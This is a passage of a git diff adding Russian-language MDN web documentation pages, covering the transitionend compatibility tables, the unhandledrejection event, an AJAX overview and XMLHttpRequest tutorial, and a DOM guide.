+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0 as <code>webkitTransitionEnd</code></td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>10</td>
+   <td>10.5 as <code>oTransitionEnd</code><br>
+    12 as <code>otransitionend</code><br>
+    12.10 as <code>transitionend</code></td>
+   <td>3.2 as <code>webkitTransitionEnd</code></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1 as <code>webkitTransitionEnd</code></td>
+   <td>{{ CompatGeckoMobile("2.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>10 as <code>oTransitionEnd</code><br>
+    12 as <code>otransitionend</code><br>
+    12.10 as <code>transitionend</code></td>
+   <td>3.2 as <code>webkitTransitionEnd</code></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Также">Также</h2>
+
+<ul>
+ <li>The {{ domxref("TransitionEvent") }} interface and the <a href="/en-US/docs/Mozilla_event_reference/transitionend" title="The 'transitionend' event"><code>transitionend</code></a> event.</li>
+</ul>
diff --git a/files/ru/web/events/unhandledrejection/index.html b/files/ru/web/events/unhandledrejection/index.html
new file mode 100644
index 0000000000..5248e75748
--- /dev/null
+++ b/files/ru/web/events/unhandledrejection/index.html
@@ -0,0 +1,49 @@
+---
+title: unhandledrejection
+slug: Web/Events/unhandledrejection
+translation_of: Web/API/Window/unhandledrejection_event
+---
+<p>Событие <strong><code>unhandledrejection</code></strong> происходит, когда {{jsxref("Promise")}} завершен с ошибкой, но на данную ошибку не установлен обработчик.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td>Всплытие</td>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <td>Возможность отмены</td>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <td>Target objects</td>
+   <td>defaultView</td>
+  </tr>
+  <tr>
+   <td>Интерфейс</td>
+   <td>{{domxref("PromiseRejectionEvent")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js;">window.addEventListener("unhandledrejection", function (event) {
+  console.warn("Внимание: Необработанная ошибка Promise. Позор вам! Причина: "
+               + event.reason);
+});
+</pre>
+
+<h2 id="Inheritance">Inheritance</h2>
+
+<p>Событие <code>unhandledrejection</code> реализует {{domxref("PromiseRejectionEvent")}} интерфейс, который наследуется от {{domxref("Event")}}. Вы можете использовать свойства и методы, определенные в данных интерфейсах.</p>
+
+<p>{{InheritanceDiagram('','','', 'PromiseRejectionEvent')}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Event("rejectionhandled")}}</li>
+ <li>{{domxref("PromiseRejectionEvent")}}</li>
+ <li>{{domxref("Promise")}}</li>
+</ul>
diff --git a/files/ru/web/guide/ajax/index.html b/files/ru/web/guide/ajax/index.html
new file mode 100644
index 0000000000..bc28ad2426
--- /dev/null
+++ b/files/ru/web/guide/ajax/index.html
@@ -0,0 +1,83 @@
+---
+title: AJAX
+slug: Web/Guide/AJAX
+tags:
+  - AJAX characteristic of the method node.length in IE and Mozilla
+  - поведение метода length объекта XML в IE и Mozilla
+translation_of: Web/Guide/AJAX
+---
+<div class="callout-box"><strong><a class="external" href="http://www.akvi.ru/ajax.html" rel="follow" title="ru/AJAX/С_чего_начать?">С чего начать?</a></strong><br>
+Введение в AJAX</div>
+
+<div>
+<p><strong>AJAX</strong> (англ. <em><span>Asynchronous JavaScript and XML</span></em> — асинхронный JavaScript и XML) — это не технология сама по себе, а термин, который описывает «новый» подход к использованию существующих технологий вместе. АJAX включает: <a href="/ru/HTML" title="ru/HTML">HTML</a> или <a href="/ru/XHTML" title="ru/XHTML">XHTML</a>, <a href="/ru/CSS" title="ru/CSS">CSS</a>, <a href="/ru/JavaScript" title="ru/JavaScript">JavaScript</a>, <a href="/ru/DOM" title="ru/DOM">DOM</a>, <a href="/ru/XML" title="ru/XML">XML</a>, <a href="/Ru/XSLT" title="Ru/XSLT">XSLT</a>, и <a href="/ru/XMLHttpRequest" title="ru/XMLHttpRequest">объект XMLHttpRequest</a>. Когда эти технологии объединяются в модель AJAX, web-приложения способны делать быстрые дополняющие обновления интерфейса пользователя без необходимости полной перезагрузки страницы браузером. Приложения работают быстрее и становятся более отзывчивыми к действиям пользователей.</p>
+</div>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id=".D0.94.D0.BE.D0.BA.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.B0.D1.86.D0.B8.D1.8F" name=".D0.94.D0.BE.D0.BA.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.B0.D1.86.D0.B8.D1.8F"><a href="/Special:Tags?tag=AJAX&amp;language=ru" title="Special:Tags?tag=AJAX&amp;language=ru">Документация</a></h4>
+
+    <dl>
+     <dt><a class="external" href="https://developer.mozilla.org/ru/docs/Web/Guide/AJAX/%D0%A1_%D1%87%D0%B5%D0%B3%D0%BE_%D0%BD%D0%B0%D1%87%D0%B0%D1%82%D1%8C" rel="follow" title="ru/AJAX/С_чего_начать?">AJAX: С чего начать?</a></dt>
+     <dd><small>Эта статья, описывающая основы AJAX и содержащая два простых примера, позволит быстро начать работу.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="https://developer.mozilla.org/ru/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Ajax: Новый подход к WEB-приложениям</a></dt>
+     <dd><small>Jesse James Garrett из <a class="external" href="http://www.adaptivepath.com">adaptive path</a>, создавший эту статью в феврале 2005 года, знакомит с AJAX и связанными с ним понятиями.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://www.onlamp.com/pub/a/onlamp/2005/05/19/xmlhttprequest.html">Простой путь Ajax</a></dt>
+     <dd><small>"Как это оказывается, довольно легко использовать в своих интересах объект XML-HttpRequest сделает акт приложений сети больше как настольное приложение, все еще используя традиционные инструменты , сеть формируется для того, чтобы собрать пользовательский вход."</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://www.contentwithstyle.co.uk/Articles/38/fixing-the-back-button-and-enabling-bookmarking-for-ajax-apps">Fixing the Back Button and Enabling Bookmarking for AJAX Apps</a></dt>
+     <dd><small>Mike Stenhouse has penned this article, detailing some methods you can use to fix back button and bookmarking issues when developing AJAX applications.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://alexbosworth.backpackit.com/pub/67688">Ошибки использования Ajax</a></dt>
+     <dd><small>Alex Bosworth написал эту статью, где описал некоторые ошибки которые могут сделать разработчики приложений AJAX.</small></dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="/Special:Tags?tag=AJAX&amp;language=ru" title="Special:Tags?tag=AJAX&amp;language=ru">Смотреть все...</a></span></p>
+   </td>
+   <td>
+    <h4 id=".D0.A1.D0.BE.D0.BE.D0.B1.D1.89.D0.B5.D1.81.D1.82.D0.B2.D0.BE" name=".D0.A1.D0.BE.D0.BE.D0.B1.D1.89.D0.B5.D1.81.D1.82.D0.B2.D0.BE">Сообщество</h4>
+
+    <ul>
+     <li>Смотрите форумы Mozilla...</li>
+    </ul>
+
+    <p>{{ DiscussionList("dev-ajax", "mozilla.dev.ajax") }}</p>
+
+    <h4 id=".D0.98.D0.BD.D1.81.D1.82.D1.80.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D1.8B" name=".D0.98.D0.BD.D1.81.D1.82.D1.80.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D1.8B">Инструменты</h4>
+
+    <ul>
+     <li><a class="external" href="http://www.ajaxprojects.com">Toolkits and frameworks</a></li>
+     <li><a class="external" href="http://blog.monstuff.com/archives/000252.html">Отладчик AJAX</a></li>
+     <li><a class="external" href="http://www.osflash.org/doku.php?id=flashjs">Flash/AJAX Integration Kit</a></li>
+     <li><a class="external" href="http://www.hotajax.org">AJAX: many cool examples</a></li>
+    </ul>
+
+    <p><span class="alllinks"><a href="/Special:Tags?tag=AJAX:Tools&amp;language=ru" title="Special:Tags?tag=AJAX:Tools&amp;language=ru">Смотреть все...</a></span></p>
+
+    <h4 id=".D0.A1.D0.B2.D1.8F.D0.B7.D0.B0.D0.BD.D0.BD.D1.8B.D0.B5_.D1.82.D0.B5.D0.BC.D1.8B" name=".D0.A1.D0.B2.D1.8F.D0.B7.D0.B0.D0.BD.D0.BD.D1.8B.D0.B5_.D1.82.D0.B5.D0.BC.D1.8B">Связанные темы</h4>
+
+    <dl>
+     <dd><a href="/ru/HTML" title="ru/HTML">HTML</a>, <a href="/ru/XHTML" title="ru/XHTML">XHTML</a>, <a href="/ru/CSS" title="ru/CSS">CSS</a>, <a href="/ru/DOM" title="ru/DOM">DOM</a>, <a href="/ru/JavaScript" title="ru/JavaScript">JavaScript</a>, <a href="/ru/XML" title="ru/XML">XML</a>, <a href="/ru/XMLHttpRequest" title="ru/XMLHttpRequest">XMLHttpRequest</a>, <a href="/Ru/XSLT" title="Ru/XSLT">XSLT</a>, <a href="/ru/DHTML" title="ru/DHTML">DHTML</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span class="comment">Categories</span></p>
+
+<p><span class="comment">Interwiki Language Links</span></p>
+
+<p>{{ languages( { "ca": "ca/AJAX", "en": "en/AJAX", "es": "es/AJAX", "fr": "fr/AJAX", "it": "it/AJAX", "ja": "ja/AJAX", "ko": "ko/AJAX", "nl": "nl/AJAX", "pl": "pl/AJAX", "pt": "pt/AJAX", "zh-cn": "cn/AJAX" } ) }}</p>
diff --git a/files/ru/web/guide/ajax/с_чего_начать/index.html b/files/ru/web/guide/ajax/с_чего_начать/index.html
new file mode 100644
index 0000000000..e06b408228
--- /dev/null
+++ b/files/ru/web/guide/ajax/с_чего_начать/index.html
@@ -0,0 +1,258 @@
+---
+title: С чего начать
+slug: Web/Guide/AJAX/С_чего_начать
+tags:
+  - AJAX
+translation_of: Web/Guide/AJAX/Getting_Started
+---
+<p> </p>
+
+<p>В этой статье рассмотрены основные принципы работы AJAX и даны два простых примера, использующих эту технологию.</p>
+
+<h3 id=".D0.A7.D1.82.D0.BE_.D1.82.D0.B0.D0.BA.D0.BE.D0.B5_AJAX.3F" name=".D0.A7.D1.82.D0.BE_.D1.82.D0.B0.D0.BA.D0.BE.D0.B5_AJAX.3F">Что такое AJAX?</h3>
+
+<p>Ajax означает Асинхронный JavaScript и XML. В основе технологии лежит использование нестандартного объекта <code><a href="/ru/XMLHttpRequest" title="ru/XMLHttpRequest">XMLHttpRequest</a></code>, необходимого для взаимодействия со скриптами на стороне сервера. Объект может как отправлять, так и получать информацию в различных форматах включая XML, HTML и даже текстовые файлы. Самое привлекательное в Ajax — это его асинхронный принцип работы. С помощью этой технологии можно осуществлять взаимодействие с сервером без необходимости перезагрузки страницы. Это позволяет обновлять содержимое страницы частично, в зависимости от действий пользователя.</p>
+
+<p>Две особенности, которые мы рассмотрим:</p>
+
+<ul>
+ <li>Отправление запросов серверу без перезагрузки страницы</li>
+ <li>Работа с XML документами</li>
+</ul>
+
+<h3 id=".D0.A8.D0.B0.D0.B3_1.C2.A0.E2.80.94_.D0.9A.D0.B0.D0.BA_.D0.BF.D0.BE.D1.81.D0.BB.D0.B0.D1.82.D1.8C_HTTP_.D0.B7.D0.B0.D0.BF.D1.80.D0.BE.D1.81" name=".D0.A8.D0.B0.D0.B3_1.C2.A0.E2.80.94_.D0.9A.D0.B0.D0.BA_.D0.BF.D0.BE.D1.81.D0.BB.D0.B0.D1.82.D1.8C_HTTP_.D0.B7.D0.B0.D0.BF.D1.80.D0.BE.D1.81">Шаг 1 — Как послать HTTP запрос</h3>
+
+<p>Для того, чтобы послать HTTP запрос на сервер используя JavaScript, вам необходим экземпляр класса, который позволит это сделать. Такой класс впервые был введен в Internet Explorer как объект ActiveX, называемый <code>XMLHTTP</code>. Позже в Mozilla, Safari и другие браузеры был введен класс <code>XMLHttpRequest</code>, который поддерживал методы и свойства изначального объекта ActiveX от Microsoft.</p>
+
+<p>В результате, чтобы создать кросс-браузерный объект требуемого класса, вы можете сделать следующее:</p>
+
+<pre>var httpRequest;
+if (window.XMLHttpRequest) { // Mozilla, Safari, ...
+    httpRequest = new XMLHttpRequest();
+} else if (window.ActiveXObject) { // IE
+    httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
+}
+</pre>
+
+<p>(В целях наглядности, код выше является немного упрощенным. Более жизненный пример будет рассмотрен в шаге 3 этой статьи)</p>
+
+<p>Некоторые версии некоторых броузеров Mozilla не будут корректно работать, если ответ сервера не содержит заголовка XML <code>mime-type</code>. Чтобы решить эту проблему, вы можете использовать вызовы дополнительных методов для переопределения заголовка полученного от сервера, если он отличен от <code>text/xml</code>.</p>
+
+<pre>httpRequest = new XMLHttpRequest();
+httpRequest.overrideMimeType('text/xml');
+</pre>
+
+<p>Далее вам необходимо решить, что вы будете делать после получения ответа сервера. На этом этапе вам необходимо указать объекту, какая JavaScript функция будет обрабатывать ответ. Это делается путем присваивания свойству <code>onreadystatechange</code> имени JavaScript функции, которую вы собираетесь использовать:</p>
+
+<p><code>httpRequest.onreadystatechange = nameOfTheFunction;</code></p>
+
+<p>Заметьте, что после названия функции нет скобок и не указано параметров, потому что вы просто присваиваете ссылку на функцию, а не вызываете ее. К тому же, вместо указания имени функции, вы можете использовать возможность JavaScript объявлять функции на лету (так называемые «анонимные функции») и указывать действия, которые тотчас же будут обрабатывать ответ:</p>
+
+<pre>httpRequest.onreadystatechange = function(){
+    // какой-нибудь код
+};
+</pre>
+
+<p>Далее, после того как вы объявили что будет происходить после получения ответа, вам необходимо сделать запрос. Вы должны вызвать методы класса <code>open()</code> и <code>send()</code>:</p>
+
+<pre>httpRequest.open('GET', 'http://www.example.org/some.file', true);
+httpRequest.send(null);
+</pre>
+
+<ul>
+ <li>Первый параметр вызова функции <code>open()</code> — метод HTTP запроса (GET, POST, HEAD или любой другой метод, который вы хотите использовать). Используйте методы в соответствии с HTTP стандартами, иначе некоторые браузеры (такие как Firefox) могут не обработать запрос. Информация о допустимых HTTP запросах доступна по адресу <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html">спецификации W3C</a></li>
+ <li>Второй параметр — URL запрашиваемой страницы. Из соображений безопасности возможность запрашивать страницы сторонних доменов недоступна. Убедитесь, что вы используете одинаковое доменное имя на всех страницах, иначе вы получите ошибку 'доступ запрещен' при вызове функции <code>open()</code>. Типичной ошибкой при доступе к сайту через <code>site.ru</code> является отправка запроса на <code>www.site.ru</code>.</li>
+ <li>Третий параметр указывает, является ли запрос асинхронным. Если он <code>TRUE</code>, то выполнение JavaScript продолжится во время ожидания ответа сервера. В этом и заключается асинхронность технологии.</li>
+</ul>
+
+<p>Параметром метода <code>send()</code> могут быть любые данные, которые вы хотите послать на сервер. Данные должны быть сформированы в строку запроса:</p>
+
+<p><code>name=value&amp;anothername=othervalue&amp;so=on</code></p>
+
+<p>Заметьте, что если вы хотите отправить данные методом <code>POST</code>, вы должны изменить MIME-тип запроса с помощью следующей строки:</p>
+
+<pre>httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+</pre>
+
+<p>Иначе сервер проигнорирует данные отправленные методом POST.</p>
+
+<h3 id=".D0.A8.D0.B0.D0.B3_2.C2.A0.E2.80.94_.D0.9E.D0.B1.D1.80.D0.B0.D0.B1.D0.B0.D1.82.D1.8B.D0.B2.D0.B0.D0.B5.D0.BC_.D0.BE.D1.82.D0.B2.D0.B5.D1.82_.D1.81.D0.B5.D1.80.D0.B2.D0.B5.D1.80.D0.B0" name=".D0.A8.D0.B0.D0.B3_2.C2.A0.E2.80.94_.D0.9E.D0.B1.D1.80.D0.B0.D0.B1.D0.B0.D1.82.D1.8B.D0.B2.D0.B0.D0.B5.D0.BC_.D0.BE.D1.82.D0.B2.D0.B5.D1.82_.D1.81.D0.B5.D1.80.D0.B2.D0.B5.D1.80.D0.B0">Шаг 2 — Обрабатываем ответ сервера</h3>
+
+<p>Отправляя запрос, вы указали имя функции JavaScript, обрабатывающей ответ.</p>
+
+<p><code>httpRequest.onreadystatechange = nameOfTheFunction;</code></p>
+
+<p>Давайте посмотрим, что эта функция должна делать. Во-первых, функция должна проверять статус запроса. Если значение переменной статуса 4, то это означает, что ответ от сервера получен и его можно обрабатывать.</p>
+
+<pre>if (httpRequest.readyState == 4) {
+    // все в порядке, ответ получен
+} else {
+    // все еще не готово
+}
+</pre>
+
+<p>Полный список значений кодов <code>readyState</code> такой:</p>
+
+<ul>
+ <li>0 (uninitialized)</li>
+ <li>1 (loading)</li>
+ <li>2 (loaded)</li>
+ <li>3 (interactive)</li>
+ <li>4 (complete)</li>
+</ul>
+
+<p>(<a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/readystate_1.asp">Источник</a>)</p>
+
+<p>Следующее, что нужно проверить — это статус HTTP-ответа. Все возможные коды можно посмотреть на <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html">сайте W3C</a>. Для наших целей нам интересен только код ответа <code>200 OK</code>.</p>
+
+<pre>if (httpRequest.status == 200) {
+    // великолепно!
+} else {
+    // с запросом возникли проблемы,
+    // например, ответ может быть 404 (Не найдено)
+    // или 500 (Внутренняя ошибка сервера)
+}
+</pre>
+
+<p>Теперь, после проверки состояния запроса и статуса HTTP-ответа, вы можете делать с данными, полученными от сервера, все что угодно. Есть два способа получить доступ к данным:</p>
+
+<ul>
+ <li><code>httpRequest.responseText</code> – возвращает ответ сервера в виде строки текста.</li>
+ <li><code>httpRequest.responseXML</code> – возвращает ответ сервера в виде объекта <code>XMLDocument</code>, который вы можете обходить используя функции JavaScript DOM</li>
+</ul>
+
+<h3 id=".D0.A8.D0.B0.D0.B3_3.C2.A0.E2.80.94_.D0.9F.D1.80.D0.BE.D1.81.D1.82.D0.BE.D0.B9_.D0.BF.D1.80.D0.B8.D0.BC.D0.B5.D1.80" name=".D0.A8.D0.B0.D0.B3_3.C2.A0.E2.80.94_.D0.9F.D1.80.D0.BE.D1.81.D1.82.D0.BE.D0.B9_.D0.BF.D1.80.D0.B8.D0.BC.D0.B5.D1.80">Шаг 3 — Простой пример</h3>
+
+<p>Давайте соберем все вместе и сделаем простой пример HTTP-запроса. Наш JavaScript запросит HTML документ <code>test.html</code>, который содержит текст "I'm a test." и выведет содержимое файла в диалоговом окне.</p>
+
+<pre>&lt;script type="text/javascript" language="javascript"&gt;
+    function makeRequest(url) {
+        var httpRequest = false;
+
+        if (window.XMLHttpRequest) { // Mozilla, Safari, ...
+            httpRequest = new XMLHttpRequest();
+            if (httpRequest.overrideMimeType) {
+                httpRequest.overrideMimeType('text/xml');
+                // Читайте ниже об этой строке
+            }
+        } else if (window.ActiveXObject) { // IE
+            try {
+                httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
+            } catch (e) {
+                try {
+                    httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
+                } catch (e) {}
+            }
+        }
+
+        if (!httpRequest) {
+            alert('Не вышло :( Невозможно создать экземпляр класса XMLHTTP ');
+            return false;
+        }
+        httpRequest.onreadystatechange = function() { alertContents(httpRequest); };
+        httpRequest.open('GET', url, true);
+        httpRequest.send(null);
+
+    }
+
+    function alertContents(httpRequest) {
+
+        if (httpRequest.readyState == 4) {
+            if (httpRequest.status == 200) {
+                alert(httpRequest.responseText);
+            } else {
+                alert('С запросом возникла проблема.');
+            }
+        }
+
+    }
+&lt;/script&gt;
+&lt;span
+    style="cursor: pointer; text-decoration: underline"
+    onclick="makeRequest('test.html')"&gt;
+        Сделать запрос
+&lt;/span&gt;
+</pre>
+
+<p><br>
+ В этом примере:</p>
+
+<ul>
+ <li>Пользователь нажимает на ссылку "Сделать запрос" в броузере;</li>
+ <li>Это вызывает функцию <code>makeRequest()</code> с параметром <code>test.html</code> — именем HTML файла;</li>
+ <li>Посылается запрос, после чего (<code>onreadystatechange</code>) выполнение передается <code>alertContents()</code>;</li>
+ <li><code>alertContents()</code> проверяет получен ли ответ и все ли с ним в порядке, после чего содержимое файла <code>test.html</code> выводится в диалоговом окне.</li>
+</ul>
+
+<p>Вы можете попробовать пример в действии <a class="external" href="http://www.akvi.ru/mozdev/httprequest_test.html" rel="follow">здесь</a>, а сам тестовый файл можно посмотреть <a class="external" href="http://www.akvi.ru/mozdev/test.html" rel="follow">здесь</a>.</p>
+
+<p><strong>Замечание</strong>: Строка <code>httpRequest.overrideMimeType('text/xml');</code> вызовет ошибки в консоли JavaScript в Firefox 1.5 или более позднем, как описано в <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=311724" rel="freelink">https://bugzilla.mozilla.org/show_bug.cgi?id=311724</a>, если страница вызванная с помощью XMLHttpRequest не является правильным XML (например, если это обычный текст). На самом деле это корректное поведение.</p>
+
+<p><strong>Замечание 2</strong>: Если вы посылаете запрос не на статический XML-файл, а на серверный скрипт, возвращающий XML, то нужно установить некоторые заголовки ответа, если вы планируете сделать вашу страницу работоспособной в Internet Explorer помимо Mozilla. Если вы не установите заголовок <code>Content-Type: application/xml</code>, IE будет сообщать об ошибке JavaScript, 'Object Expected', после строки, где вы пытаетесь получить доступ к XML элементу. Если вы не установите заголовок <code>Cache-Control: no-cache</code> броузер будет кэшировать ответ и никогда не будет повторно отправлять запрос, что сделает отладку весьма «забавной».</p>
+
+<p><strong>Замечание 3</strong>: Если переменная <code>httpRequest</code> используется глобально, то конкурирующие функции, вызывающие <code>makeRequest()</code> могут конкурировать друг с другом, вызывая состязания. Объявление переменной <code>httpRequest</code> локально в функции и передача ее в <code>alertContent()</code> предотвращает состязания.</p>
+
+<p><strong>Замечание 4</strong>: При привязывании функции обратного вызова к <code>onreadystatechange</code> нельзя указывать аргументов. По этой причине не работает следующий код:</p>
+
+<pre>httpRequest.onreadystatechange = alertContents(httpRequest); // (не работает)
+</pre>
+
+<p>Таким образом, для успешной регистрации функции, вы должны передать ей аргументы косвенно через анонимную функцию или используя <code>httpRequest</code> как глобальную переменную. Вот пример:</p>
+
+<pre>httpRequest.onreadystatechange = function() { alertContents(httpRequest); };  //1 (одновременный запрос)
+httpRequest.onreadystatechange = alertContents;  //2 (глобальная переменная)
+</pre>
+
+<p>Первый способ позволяет делать несколько запросов одновременно, а второй используется, когда переменная <code>httpRequest</code> является глобальной.</p>
+
+<p><strong>Замечание 5</strong>: В случае ошибки взаимодействия (например, если сервер упал), при попытке доступа к переменной .status метода onreadystatechange будет сгенерировано исключение. Убедитесь, что if...then заключено в try...catch. (См. <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=238559" rel="freelink">https://bugzilla.mozilla.org/show_bug.cgi?id=238559</a>).</p>
+
+<pre>function alertContents(httpRequest) {
+
+        try {
+            if (httpRequest.readyState == 4) {
+                if (httpRequest.status == 200) {
+                    alert(httpRequest.responseText);
+                } else {
+                    alert('С запросом возникла проблема.');
+                }
+            }
+        }
+        catch( e ) {
+            alert('Произошло исключение: ' + e.description);
+        }
+
+    }
+</pre>
+
+<h3 id=".D0.A8.D0.B0.D0.B3_4.C2.A0.E2.80.94_.D0.A0.D0.B0.D0.B1.D0.BE.D1.82.D0.B0_.D1.81_XML_.D0.BE.D1.82.D0.B2.D0.B5.D1.82.D0.BE.D0.BC" name=".D0.A8.D0.B0.D0.B3_4.C2.A0.E2.80.94_.D0.A0.D0.B0.D0.B1.D0.BE.D1.82.D0.B0_.D1.81_XML_.D0.BE.D1.82.D0.B2.D0.B5.D1.82.D0.BE.D0.BC">Шаг 4 — Работа с XML ответом</h3>
+
+<p>В предыдущем примере, после того как был получен ответ на HTTP-запрос мы использовали <code>responseText</code> запрашиваемого объекта, который содержал данные файла <code>test.html</code>. Теперь давайте попробуем использовать свойство <code>responseXML</code>.</p>
+
+<p>Прежде всего, давайте создадим правильный XML документ, который мы будем запрашивать. Документ (<code>test.xml</code>) содержит следующее:</p>
+
+<pre>&lt;?xml version="1.0" ?&gt;
+&lt;root&gt;
+    I'm a test.
+&lt;/root&gt;
+</pre>
+
+<p>В скрипте нам всего лишь необходимо заменить строку запроса на:</p>
+
+<pre>...
+onclick="makeRequest('test.xml')"&gt;
+...
+</pre>
+
+<p>Далее в <code>alertContents()</code> нам нужно заменить строку <code>alert(httpRequest.responseText);</code> на:</p>
+
+<pre>var xmldoc = httpRequest.responseXML;
+var root_node = xmldoc.getElementsByTagName('root').item(0);
+alert(root_node.firstChild.data);
+</pre>
+
+<p>Этот код берет объект <code>XMLDocument</code>, возвращаемый <code>responseXML</code> и использует методы DOM для доступа к данным, содержащимся в документе XML. Посмотреть <code>test.xml</code> можно <a class="external" href="http://www.akvi.ru/mozdev/test.xml" rel="follow">здесь</a>, а обновленный скрипт <a class="external" href="http://www.akvi.ru/mozdev/httprequest_test_xml.html" rel="follow">здесь</a>.</p>
+
+<p>Чтобы узнать больше о методах DOM, посмотрите <a class="external" href="http://www.mozilla.org/docs/dom/">реализация DOM в Mozilla</a>.</p>
+
+<p>{{ languages( { "ca": "ca/AJAX/Primers_passos", "de": "de/AJAX/Getting_Started", "en": "en/AJAX/Getting_Started", "es": "es/AJAX/Primeros_Pasos", "fr": "fr/AJAX/Premiers_pas", "it": "it/AJAX/Iniziare", "ja": "ja/AJAX/Getting_Started", "ko": "ko/AJAX/Getting_Started", "pl": "pl/AJAX/Na_pocz\u0105tek", "pt": "pt/AJAX/Como_come\u00e7ar", "zh-cn": "cn/AJAX/\u5f00\u59cb" } ) }}</p>
diff --git a/files/ru/web/guide/ajax/с_чего_начать_question_/index.html b/files/ru/web/guide/ajax/с_чего_начать_question_/index.html
new file mode 100644
index 0000000000..f66d6b1dbf
--- /dev/null
+++ b/files/ru/web/guide/ajax/с_чего_начать_question_/index.html
@@ -0,0 +1,6 @@
+---
+title: С чего начать?
+slug: Web/Guide/AJAX/С_чего_начать?
+---
+<p>IKFIA
+</p>
diff --git a/files/ru/web/guide/api/dom/index.html b/files/ru/web/guide/api/dom/index.html
new file mode 100644
index 0000000000..24201d7df7
--- /dev/null
+++ b/files/ru/web/guide/api/dom/index.html
@@ -0,0 +1,37 @@
+---
+title: DOM developer guide
+slug: Web/Guide/API/DOM
+tags:
+  - API
+  - DOM
+  - Guide
+  - NeedsContent
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/API/Document_Object_Model
+---
+<p>{{draft}}</p>
+
+<p>Объектная модель документа - это API для документов HTML и XML. Она обеспечивает структурное представление документа, позволяя разработчику изменять его содержание и визуальное представление. По сути, она соединяет веб-страницы со скриптами или языками программирования.</p>
+
+<p>Все свойства, методы и события, доступные веб-разработчику для манипулирования и создания веб-страниц, организованы в объекты (например, объект документа, представляющий сам документ, объект таблицы, представляющий элемент таблицы HTML и т. Д.) , Эти объекты доступны через скриптовые языки в самых последних веб-браузерах.</p>
+
+<p>DOM чаще всего используется в сочетании с JavaScript. Тем не менее, DOM был разработан, чтобы быть независимым от какого-либо конкретного языка программирования, делая структурное представление документа доступным из единого, согласованного API. Хотя мы,на этом сайте, сосредоточены на JavaScript реализации DOM могут быть построены для любого языка.</p>
+
+<p>Консорциум World Wide Web устанавливает стандарт для DOM, называемый W3C DOM. Теперь, когда наиболее важные браузеры правильно его реализуют, следует включить мощные кросс-браузерные приложения.</p>
+
+<h2 id="Why_is_the_DOM_support_in_Mozilla_important.3F" name="Why_is_the_DOM_support_in_Mozilla_important.3F">Почему так важен DOM?</h2>
+
+<p>"Dynamic HTML" (<a href="/en-US/docs/DHTML">DHTML</a>) это термин, используемый некоторыми поставщиками для описания комбинации HTML, таблиц стилей и сценариев, позволяющих анимировать документы. Рабочая группа W3C DOM усердно работает над тем, чтобы согласовать совместимые и не зависящие от языка решения (см. также <a href="http://www.w3.org/DOM/faq.html">W3C FAQ</a>).</p>
+
+<p>Поскольку Mozilla претендует на звание «Платформа веб-приложений», поддержка DOM является одной из наиболее востребованных функций и необходимой, если Mozilla хочет стать жизнеспособной альтернативой другим браузерам. Пользовательский интерфейс Mozilla (также Firefox и Thunderbird) построен с использованием <a href="/en-US/docs/XUL" title="/en-US/docs/XUL">XUL</a>, используя DOM для <a href="/en-US/docs/Dynamically_modifying_XUL-based_user_interface">управления собственным пользовательским  интерфейсом UI</a>.</p>
+
+<h2 id="More_about_the_DOM">More about the DOM</h2>
+
+<p>{{LandingPageListSubpages}}</p>
+
+
+
+<p>«Динамический HTML» (DHTML) - это термин, используемый некоторыми поставщиками для описания комбинации HTML, таблиц стилей и сценариев, позволяющих анимировать документы. Рабочая группа W3C DOM усердно работает над тем, чтобы согласовать совместимые и не зависящие от языка решения (см. Также FAQ по W3C).</p>
+
+<p>Поскольку Mozilla претендует на звание «Платформа веб-приложений», поддержка DOM является одной из наиболее востребованных функций и необходимой, если Mozilla хочет стать жизнеспособной альтернативой другим браузерам. Пользовательский интерфейс Mozilla (также Firefox и Thunderbird) построен с использованием XUL, используя DOM для управления собственным пользовательским интерфейсом.</p>
